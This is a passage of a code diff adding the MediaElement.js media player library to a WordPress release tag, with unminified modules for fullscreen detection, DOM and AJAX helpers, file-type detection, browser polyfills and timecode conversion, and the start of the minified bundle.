+var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen;
+var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen;
+var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen;
+var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen;
+var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen;
+var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen;
+var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled;
+var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName;
+exports.isFullScreen = isFullScreen;
+exports.requestFullScreen = requestFullScreen;
+exports.cancelFullScreen = cancelFullScreen;
+
+
+_mejs2.default.Features = _mejs2.default.Features || {};
+_mejs2.default.Features.isiPad = IS_IPAD;
+_mejs2.default.Features.isiPod = IS_IPOD;
+_mejs2.default.Features.isiPhone = IS_IPHONE;
+_mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad;
+_mejs2.default.Features.isAndroid = IS_ANDROID;
+_mejs2.default.Features.isIE = IS_IE;
+_mejs2.default.Features.isEdge = IS_EDGE;
+_mejs2.default.Features.isChrome = IS_CHROME;
+_mejs2.default.Features.isFirefox = IS_FIREFOX;
+_mejs2.default.Features.isSafari = IS_SAFARI;
+_mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID;
+_mejs2.default.Features.hasMSE = HAS_MSE;
+_mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS;
+_mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS;
+_mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT;
+_mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN;
+_mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN;
+_mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN;
+_mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED;
+_mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME;
+_mejs2.default.Features.isFullScreen = isFullScreen;
+_mejs2.default.Features.requestFullScreen = requestFullScreen;
+_mejs2.default.Features.cancelFullScreen = cancelFullScreen;
+
+},{"2":2,"3":3,"7":7}],26:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.removeClass = exports.addClass = exports.hasClass = undefined;
+exports.loadScript = loadScript;
+exports.offset = offset;
+exports.toggleClass = toggleClass;
+exports.fadeOut = fadeOut;
+exports.fadeIn = fadeIn;
+exports.siblings = siblings;
+exports.visible = visible;
+exports.ajax = ajax;
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function loadScript(url) {
+	return new Promise(function (resolve, reject) {
+		var script = _document2.default.createElement('script');
+		script.src = url;
+		script.async = true;
+		script.onload = function () {
+			script.remove();
+			resolve();
+		};
+		script.onerror = function () {
+			script.remove();
+			reject();
+		};
+		_document2.default.head.appendChild(script);
+	});
+}
+
+function offset(el) {
+	var rect = el.getBoundingClientRect(),
+	    scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft,
+	    scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop;
+	return { top: rect.top + scrollTop, left: rect.left + scrollLeft };
+}
+
+var hasClassMethod = void 0,
+    addClassMethod = void 0,
+    removeClassMethod = void 0;
+
+if ('classList' in _document2.default.documentElement) {
+	hasClassMethod = function hasClassMethod(el, className) {
+		return el.classList !== undefined && el.classList.contains(className);
+	};
+	addClassMethod = function addClassMethod(el, className) {
+		return el.classList.add(className);
+	};
+	removeClassMethod = function removeClassMethod(el, className) {
+		return el.classList.remove(className);
+	};
+} else {
+	hasClassMethod = function hasClassMethod(el, className) {
+		return new RegExp('\\b' + className + '\\b').test(el.className);
+	};
+	addClassMethod = function addClassMethod(el, className) {
+		if (!hasClass(el, className)) {
+			el.className += ' ' + className;
+		}
+	};
+	removeClassMethod = function removeClassMethod(el, className) {
+		el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), '');
+	};
+}
+
+var hasClass = exports.hasClass = hasClassMethod;
+var addClass = exports.addClass = addClassMethod;
+var removeClass = exports.removeClass = removeClassMethod;
+
+function toggleClass(el, className) {
+	hasClass(el, className) ? removeClass(el, className) : addClass(el, className);
+}
+
+function fadeOut(el) {
+	var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400;
+	var callback = arguments[2];
+
+	if (!el.style.opacity) {
+		el.style.opacity = 1;
+	}
+
+	var start = null;
+	_window2.default.requestAnimationFrame(function animate(timestamp) {
+		start = start || timestamp;
+		var progress = timestamp - start;
+		var opacity = parseFloat(1 - progress / duration, 2);
+		el.style.opacity = opacity < 0 ? 0 : opacity;
+		if (progress > duration) {
+			if (callback && typeof callback === 'function') {
+				callback();
+			}
+		} else {
+			_window2.default.requestAnimationFrame(animate);
+		}
+	});
+}
+
+function fadeIn(el) {
+	var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400;
+	var callback = arguments[2];
+
+	if (!el.style.opacity) {
+		el.style.opacity = 0;
+	}
+
+	var start = null;
+	_window2.default.requestAnimationFrame(function animate(timestamp) {
+		start = start || timestamp;
+		var progress = timestamp - start;
+		var opacity = parseFloat(progress / duration, 2);
+		el.style.opacity = opacity > 1 ? 1 : opacity;
+		if (progress > duration) {
+			if (callback && typeof callback === 'function') {
+				callback();
+			}
+		} else {
+			_window2.default.requestAnimationFrame(animate);
+		}
+	});
+}
+
+function siblings(el, filter) {
+	var siblings = [];
+	el = el.parentNode.firstChild;
+	do {
+		if (!filter || filter(el)) {
+			siblings.push(el);
+		}
+	} while (el = el.nextSibling);
+	return siblings;
+}
+
+function visible(elem) {
+	if (elem.getClientRects !== undefined && elem.getClientRects === 'function') {
+		return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length);
+	}
+	return !!(elem.offsetWidth || elem.offsetHeight);
+}
+
+function ajax(url, dataType, success, error) {
+	var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP');
+
+	var type = 'application/x-www-form-urlencoded; charset=UTF-8',
+	    completed = false,
+	    accept = '*/'.concat('*');
+
+	switch (dataType) {
+		case 'text':
+			type = 'text/plain';
+			break;
+		case 'json':
+			type = 'application/json, text/javascript';
+			break;
+		case 'html':
+			type = 'text/html';
+			break;
+		case 'xml':
+			type = 'application/xml, text/xml';
+			break;
+	}
+
+	if (type !== 'application/x-www-form-urlencoded') {
+		accept = type + ', */*; q=0.01';
+	}
+
+	if (xhr) {
+		xhr.open('GET', url, true);
+		xhr.setRequestHeader('Accept', accept);
+		xhr.onreadystatechange = function () {
+			if (completed) {
+				return;
+			}
+
+			if (xhr.readyState === 4) {
+				if (xhr.status === 200) {
+					completed = true;
+					var data = void 0;
+					switch (dataType) {
+						case 'json':
+							data = JSON.parse(xhr.responseText);
+							break;
+						case 'xml':
+							data = xhr.responseXML;
+							break;
+						default:
+							data = xhr.responseText;
+							break;
+					}
+					success(data);
+				} else if (typeof error === 'function') {
+					error(xhr.status);
+				}
+			}
+		};
+
+		xhr.send();
+	}
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.offset = offset;
+_mejs2.default.Utils.hasClass = hasClass;
+_mejs2.default.Utils.addClass = addClass;
+_mejs2.default.Utils.removeClass = removeClass;
+_mejs2.default.Utils.toggleClass = toggleClass;
+_mejs2.default.Utils.fadeIn = fadeIn;
+_mejs2.default.Utils.fadeOut = fadeOut;
+_mejs2.default.Utils.siblings = siblings;
+_mejs2.default.Utils.visible = visible;
+_mejs2.default.Utils.ajax = ajax;
+_mejs2.default.Utils.loadScript = loadScript;
+
+},{"2":2,"3":3,"7":7}],27:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.escapeHTML = escapeHTML;
+exports.debounce = debounce;
+exports.isObjectEmpty = isObjectEmpty;
+exports.splitEvents = splitEvents;
+exports.createEvent = createEvent;
+exports.isNodeAfter = isNodeAfter;
+exports.isString = isString;
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function escapeHTML(input) {
+
+	if (typeof input !== 'string') {
+		throw new Error('Argument passed must be a string');
+	}
+
+	var map = {
+		'&': '&amp;',
+		'<': '&lt;',
+		'>': '&gt;',
+		'"': '&quot;'
+	};
+
+	return input.replace(/[&<>"]/g, function (c) {
+		return map[c];
+	});
+}
+
+function debounce(func, wait) {
+	var _this = this,
+	    _arguments = arguments;
+
+	var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
+
+
+	if (typeof func !== 'function') {
+		throw new Error('First argument must be a function');
+	}
+
+	if (typeof wait !== 'number') {
+		throw new Error('Second argument must be a numeric value');
+	}
+
+	var timeout = void 0;
+	return function () {
+		var context = _this,
+		    args = _arguments;
+		var later = function later() {
+			timeout = null;
+			if (!immediate) {
+				func.apply(context, args);
+			}
+		};
+		var callNow = immediate && !timeout;
+		clearTimeout(timeout);
+		timeout = setTimeout(later, wait);
+
+		if (callNow) {
+			func.apply(context, args);
+		}
+	};
+}
+
+function isObjectEmpty(instance) {
+	return Object.getOwnPropertyNames(instance).length <= 0;
+}
+
+function splitEvents(events, id) {
+	var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/;
+
+	var ret = { d: [], w: [] };
+	(events || '').split(' ').forEach(function (v) {
+		var eventName = '' + v + (id ? '.' + id : '');
+
+		if (eventName.startsWith('.')) {
+			ret.d.push(eventName);
+			ret.w.push(eventName);
+		} else {
+			ret[rwindow.test(v) ? 'w' : 'd'].push(eventName);
+		}
+	});
+
+	ret.d = ret.d.join(' ');
+	ret.w = ret.w.join(' ');
+	return ret;
+}
+
+function createEvent(eventName, target) {
+
+	if (typeof eventName !== 'string') {
+		throw new Error('Event name must be a string');
+	}
+
+	var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i),
+	    detail = {
+		target: target
+	};
+
+	if (eventFrags !== null) {
+		eventName = eventFrags[1];
+		detail.namespace = eventFrags[2];
+	}
+
+	return new window.CustomEvent(eventName, {
+		detail: detail
+	});
+}
+
+function isNodeAfter(sourceNode, targetNode) {
+
+	return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2);
+}
+
+function isString(value) {
+	return typeof value === 'string';
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.escapeHTML = escapeHTML;
+_mejs2.default.Utils.debounce = debounce;
+_mejs2.default.Utils.isObjectEmpty = isObjectEmpty;
+_mejs2.default.Utils.splitEvents = splitEvents;
+_mejs2.default.Utils.createEvent = createEvent;
+_mejs2.default.Utils.isNodeAfter = isNodeAfter;
+_mejs2.default.Utils.isString = isString;
+
+},{"7":7}],28:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.typeChecks = undefined;
+exports.absolutizeUrl = absolutizeUrl;
+exports.formatType = formatType;
+exports.getMimeFromType = getMimeFromType;
+exports.getTypeFromFile = getTypeFromFile;
+exports.getExtension = getExtension;
+exports.normalizeExtension = normalizeExtension;
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _general = _dereq_(27);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var typeChecks = exports.typeChecks = [];
+
+function absolutizeUrl(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	var el = document.createElement('div');
+	el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>';
+	return el.firstChild.href;
+}
+
+function formatType(url) {
+	var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
+
+	return url && !type ? getTypeFromFile(url) : type;
+}
+
+function getMimeFromType(type) {
+
+	if (typeof type !== 'string') {
+		throw new Error('`type` argument must be a string');
+	}
+
+	return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type;
+}
+
+function getTypeFromFile(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	for (var i = 0, total = typeChecks.length; i < total; i++) {
+		var type = typeChecks[i](url);
+
+		if (type) {
+			return type;
+		}
+	}
+
+	var ext = getExtension(url),
+	    normalizedExt = normalizeExtension(ext);
+
+	var mime = 'video/mp4';
+
+	if (normalizedExt) {
+		if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg', 'mov'].indexOf(normalizedExt)) {
+			mime = 'video/' + normalizedExt;
+		} else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) {
+			mime = 'audio/' + normalizedExt;
+		}
+	}
+
+	return mime;
+}
+
+function getExtension(url) {
+
+	if (typeof url !== 'string') {
+		throw new Error('`url` argument must be a string');
+	}
+
+	var baseUrl = url.split('?')[0],
+	    baseName = baseUrl.split('\\').pop().split('/').pop();
+	return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : '';
+}
+
+function normalizeExtension(extension) {
+
+	if (typeof extension !== 'string') {
+		throw new Error('`extension` argument must be a string');
+	}
+
+	switch (extension) {
+		case 'mp4':
+		case 'm4v':
+			return 'mp4';
+		case 'webm':
+		case 'webma':
+		case 'webmv':
+			return 'webm';
+		case 'ogg':
+		case 'oga':
+		case 'ogv':
+			return 'ogg';
+		default:
+			return extension;
+	}
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.typeChecks = typeChecks;
+_mejs2.default.Utils.absolutizeUrl = absolutizeUrl;
+_mejs2.default.Utils.formatType = formatType;
+_mejs2.default.Utils.getMimeFromType = getMimeFromType;
+_mejs2.default.Utils.getTypeFromFile = getTypeFromFile;
+_mejs2.default.Utils.getExtension = getExtension;
+_mejs2.default.Utils.normalizeExtension = normalizeExtension;
+
+},{"27":27,"7":7}],29:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _promisePolyfill = _dereq_(4);
+
+var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+(function (arr) {
+	arr.forEach(function (item) {
+		if (item.hasOwnProperty('remove')) {
+			return;
+		}
+		Object.defineProperty(item, 'remove', {
+			configurable: true,
+			enumerable: true,
+			writable: true,
+			value: function remove() {
+				this.parentNode.removeChild(this);
+			}
+		});
+	});
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+
+(function () {
+
+	if (typeof window.CustomEvent === 'function') {
+		return false;
+	}
+
+	function CustomEvent(event, params) {
+		params = params || { bubbles: false, cancelable: false, detail: undefined };
+		var evt = _document2.default.createEvent('CustomEvent');
+		evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
+		return evt;
+	}
+
+	CustomEvent.prototype = window.Event.prototype;
+	window.CustomEvent = CustomEvent;
+})();
+
+if (typeof Object.assign !== 'function') {
+	Object.assign = function (target) {
+
+		if (target === null || target === undefined) {
+			throw new TypeError('Cannot convert undefined or null to object');
+		}
+
+		var to = Object(target);
+
+		for (var index = 1, total = arguments.length; index < total; index++) {
+			var nextSource = arguments[index];
+
+			if (nextSource !== null) {
+				for (var nextKey in nextSource) {
+					if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+						to[nextKey] = nextSource[nextKey];
+					}
+				}
+			}
+		}
+		return to;
+	};
+}
+
+if (!String.prototype.startsWith) {
+	String.prototype.startsWith = function (searchString, position) {
+		position = position || 0;
+		return this.substr(position, searchString.length) === searchString;
+	};
+}
+
+if (!Element.prototype.matches) {
+	Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) {
+		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+		    i = matches.length - 1;
+		while (--i >= 0 && matches.item(i) !== this) {}
+		return i > -1;
+	};
+}
+
+if (window.Element && !Element.prototype.closest) {
+	Element.prototype.closest = function (s) {
+		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+		    i = void 0,
+		    el = this;
+		do {
+			i = matches.length;
+			while (--i >= 0 && matches.item(i) !== el) {}
+		} while (i < 0 && (el = el.parentElement));
+		return el;
+	};
+}
+
+(function () {
+	var lastTime = 0;
+	var vendors = ['ms', 'moz', 'webkit', 'o'];
+	for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
+		window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame'];
+		window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame'];
+	}
+
+	if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) {
+		var currTime = new Date().getTime();
+		var timeToCall = Math.max(0, 16 - (currTime - lastTime));
+		var id = window.setTimeout(function () {
+			callback(currTime + timeToCall);
+		}, timeToCall);
+		lastTime = currTime + timeToCall;
+		return id;
+	};
+
+	if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) {
+		clearTimeout(id);
+	};
+})();
+
+if (/firefox/i.test(navigator.userAgent)) {
+	var getComputedStyle = window.getComputedStyle;
+	window.getComputedStyle = function (el, pseudoEl) {
+		var t = getComputedStyle(el, pseudoEl);
+		return t === null ? { getPropertyValue: function getPropertyValue() {} } : t;
+	};
+}
+
+if (!window.Promise) {
+	window.Promise = _promisePolyfill2.default;
+}
+
+(function (constructor) {
+	if (constructor && constructor.prototype && constructor.prototype.children === null) {
+		Object.defineProperty(constructor.prototype, 'children', {
+			get: function get() {
+				var i = 0,
+				    node = void 0,
+				    nodes = this.childNodes,
+				    children = [];
+				while (node = nodes[i++]) {
+					if (node.nodeType === 1) {
+						children.push(node);
+					}
+				}
+				return children;
+			}
+		});
+	}
+})(window.Node || window.Element);
+
+},{"2":2,"4":4}],30:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.isDropFrame = isDropFrame;
+exports.secondsToTimeCode = secondsToTimeCode;
+exports.timeCodeToSeconds = timeCodeToSeconds;
+exports.calculateTimeFormat = calculateTimeFormat;
+exports.convertSMPTEtoSeconds = convertSMPTEtoSeconds;
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function isDropFrame() {
+	var fps = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 25;
+
+	return !(fps % 1 === 0);
+}
+function secondsToTimeCode(time) {
+	var forceHours = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
+	var showFrameCount = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
+	var fps = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 25;
+	var secondsDecimalLength = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : 0;
+	var timeFormat = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 'mm:ss';
+
+
+	time = !time || typeof time !== 'number' || time < 0 ? 0 : time;
+
+	var dropFrames = Math.round(fps * 0.066666),
+	    timeBase = Math.round(fps),
+	    framesPer24Hours = Math.round(fps * 3600) * 24,
+	    framesPer10Minutes = Math.round(fps * 600),
+	    frameSep = isDropFrame(fps) ? ';' : ':',
+	    hours = void 0,
+	    minutes = void 0,
+	    seconds = void 0,
+	    frames = void 0,
+	    f = Math.round(time * fps);
+
+	if (isDropFrame(fps)) {
+
+		if (f < 0) {
+			f = framesPer24Hours + f;
+		}
+
+		f = f % framesPer24Hours;
+
+		var d = Math.floor(f / framesPer10Minutes);
+		var m = f % framesPer10Minutes;
+		f = f + dropFrames * 9 * d;
+		if (m > dropFrames) {
+			f = f + dropFrames * Math.floor((m - dropFrames) / Math.round(timeBase * 60 - dropFrames));
+		}
+
+		var timeBaseDivision = Math.floor(f / timeBase);
+
+		hours = Math.floor(Math.floor(timeBaseDivision / 60) / 60);
+		minutes = Math.floor(timeBaseDivision / 60) % 60;
+
+		if (showFrameCount) {
+			seconds = timeBaseDivision % 60;
+		} else {
+			seconds = (f / timeBase % 60).toFixed(secondsDecimalLength);
+		}
+	} else {
+		hours = Math.floor(time / 3600) % 24;
+		minutes = Math.floor(time / 60) % 60;
+		if (showFrameCount) {
+			seconds = Math.floor(time % 60);
+		} else {
+			seconds = (time % 60).toFixed(secondsDecimalLength);
+		}
+	}
+	hours = hours <= 0 ? 0 : hours;
+	minutes = minutes <= 0 ? 0 : minutes;
+	seconds = seconds <= 0 ? 0 : seconds;
+
+	var timeFormatFrags = timeFormat.split(':');
+	var timeFormatSettings = {};
+	for (var i = 0, total = timeFormatFrags.length; i < total; ++i) {
+		var unique = '';
+		for (var j = 0, t = timeFormatFrags[i].length; j < t; j++) {
+			if (unique.indexOf(timeFormatFrags[i][j]) < 0) {
+				unique += timeFormatFrags[i][j];
+			}
+		}
+		if (~['f', 's', 'm', 'h'].indexOf(unique)) {
+			timeFormatSettings[unique] = timeFormatFrags[i].length;
+		}
+	}
+
+	var result = forceHours || hours > 0 ? (hours < 10 && timeFormatSettings.h > 1 ? '0' + hours : hours) + ':' : '';
+	result += (minutes < 10 && timeFormatSettings.m > 1 ? '0' + minutes : minutes) + ':';
+	result += '' + (seconds < 10 && timeFormatSettings.s > 1 ? '0' + seconds : seconds);
+
+	if (showFrameCount) {
+		frames = (f % timeBase).toFixed(0);
+		frames = frames <= 0 ? 0 : frames;
+		result += frames < 10 && timeFormatSettings.f ? frameSep + '0' + frames : '' + frameSep + frames;
+	}
+
+	return result;
+}
+
+function timeCodeToSeconds(time) {
+	var fps = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 25;
+
+
+	if (typeof time !== 'string') {
+		throw new TypeError('Time must be a string');
+	}
+
+	if (time.indexOf(';') > 0) {
+		time = time.replace(';', ':');
+	}
+
+	if (!/\d{2}(\:\d{2}){0,3}/i.test(time)) {
+		throw new TypeError('Time code must have the format `00:00:00`');
+	}
+
+	var parts = time.split(':');
+
+	var output = void 0,
+	    hours = 0,
+	    minutes = 0,
+	    seconds = 0,
+	    frames = 0,
+	    totalMinutes = 0,
+	    dropFrames = Math.round(fps * 0.066666),
+	    timeBase = Math.round(fps),
+	    hFrames = timeBase * 3600,
+	    mFrames = timeBase * 60;
+
+	switch (parts.length) {
+		default:
+		case 1:
+			seconds = parseInt(parts[0], 10);
+			break;
+		case 2:
+			minutes = parseInt(parts[0], 10);
+			seconds = parseInt(parts[1], 10);
+			break;
+		case 3:
+			hours = parseInt(parts[0], 10);
+			minutes = parseInt(parts[1], 10);
+			seconds = parseInt(parts[2], 10);
+			break;
+		case 4:
+			hours = parseInt(parts[0], 10);
+			minutes = parseInt(parts[1], 10);
+			seconds = parseInt(parts[2], 10);
+			frames = parseInt(parts[3], 10);
+			break;
+	}
+
+	if (isDropFrame(fps)) {
+		totalMinutes = 60 * hours + minutes;
+		output = hFrames * hours + mFrames * minutes + timeBase * seconds + frames - dropFrames * (totalMinutes - Math.floor(totalMinutes / 10));
+	} else {
+		output = (hFrames * hours + mFrames * minutes + fps * seconds + frames) / fps;
+	}
+
+	return parseFloat(output.toFixed(3));
+}
+
+function calculateTimeFormat(time, options) {
+	var fps = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 25;
+
+
+	time = !time || typeof time !== 'number' || time < 0 ? 0 : time;
+
+	var hours = Math.floor(time / 3600) % 24,
+	    minutes = Math.floor(time / 60) % 60,
+	    seconds = Math.floor(time % 60),
+	    frames = Math.floor((time % 1 * fps).toFixed(3)),
+	    lis = [[frames, 'f'], [seconds, 's'], [minutes, 'm'], [hours, 'h']];
+
+	var format = options.timeFormat,
+	    firstTwoPlaces = format[1] === format[0],
+	    separatorIndex = firstTwoPlaces ? 2 : 1,
+	    separator = format.length < separatorIndex ? format[separatorIndex] : ':',
+	    firstChar = format[0],
+	    required = false;
+
+	for (var i = 0, len = lis.length; i < len; i++) {
+		if (~format.indexOf(lis[i][1])) {
+			required = true;
+		} else if (required) {
+			var hasNextValue = false;
+			for (var j = i; j < len; j++) {
+				if (lis[j][0] > 0) {
+					hasNextValue = true;
+					break;
+				}
+			}
+
+			if (!hasNextValue) {
+				break;
+			}
+
+			if (!firstTwoPlaces) {
+				format = firstChar + format;
+			}
+			format = lis[i][1] + separator + format;
+			if (firstTwoPlaces) {
+				format = lis[i][1] + format;
+			}
+			firstChar = lis[i][1];
+		}
+	}
+
+	options.timeFormat = format;
+}
+
+function convertSMPTEtoSeconds(SMPTE) {
+
+	if (typeof SMPTE !== 'string') {
+		throw new TypeError('Argument must be a string value');
+	}
+
+	SMPTE = SMPTE.replace(',', '.');
+
+	var decimalLen = ~SMPTE.indexOf('.') ? SMPTE.split('.')[1].length : 0;
+
+	var secs = 0,
+	    multiplier = 1;
+
+	SMPTE = SMPTE.split(':').reverse();
+
+	for (var i = 0, total = SMPTE.length; i < total; i++) {
+		multiplier = 1;
+		if (i > 0) {
+			multiplier = Math.pow(60, i);
+		}
+		secs += Number(SMPTE[i]) * multiplier;
+	}
+	return Number(secs.toFixed(decimalLen));
+}
+
+_mejs2.default.Utils = _mejs2.default.Utils || {};
+_mejs2.default.Utils.secondsToTimeCode = secondsToTimeCode;
+_mejs2.default.Utils.timeCodeToSeconds = timeCodeToSeconds;
+_mejs2.default.Utils.calculateTimeFormat = calculateTimeFormat;
+_mejs2.default.Utils.convertSMPTEtoSeconds = convertSMPTEtoSeconds;
+
+},{"7":7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]);
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.min.js	(revision 56912)
@@ -0,0 +1,12 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */
+!function e(t,n,o){function i(a,s){if(!n[a]){if(!t[a]){var l="function"==typeof require&&require;if(!s&&l)return l(a,!0);if(r)return r(a,!0);var d=new Error("Cannot find module '"+a+"'");throw d.code="MODULE_NOT_FOUND",d}var u=n[a]={exports:{}};t[a][0].call(u.exports,function(e){var n=t[a][1][e];return i(n||e)},u,u.exports,e,t,n,o)}return n[a].exports}for(var r="function"==typeof require&&require,a=0;a<o.length;a++)i(o[a]);return i}({1:[function(e,t,n){},{}],2:[function(e,t,n){(function(n){var o,i=void 0!==n?n:"undefined"!=typeof window?window:{},r=e(1);"undefined"!=typeof document?o=document:(o=i["__GLOBAL_DOCUMENT_CACHE@4"])||(o=i["__GLOBAL_DOCUMENT_CACHE@4"]=r),t.exports=o}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,t,n){(function(e){var n;n="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},t.exports=n}).call(this,"undefined"!=typeof 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e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName),n="";return d.HAS_TRUE_NATIVE_FULLSCREEN&&t?n="native-native":d.HAS_TRUE_NATIVE_FULLSCREEN&&!t?n="plugin-native":e.usePluginFullScreen&&d.SUPPORT_POINTER_EVENTS&&(n="plugin-click"),e.fullscreenMode=n,n},enterFullScreen:function(){var e=this,t=null!==e.media.rendererName&&/(html5|native)/i.test(e.media.rendererName),n=getComputedStyle(e.getElement(e.container));if(!1===e.options.useFakeFullscreen&&d.IS_IOS&&d.HAS_IOS_FULLSCREEN&&"function"==typeof 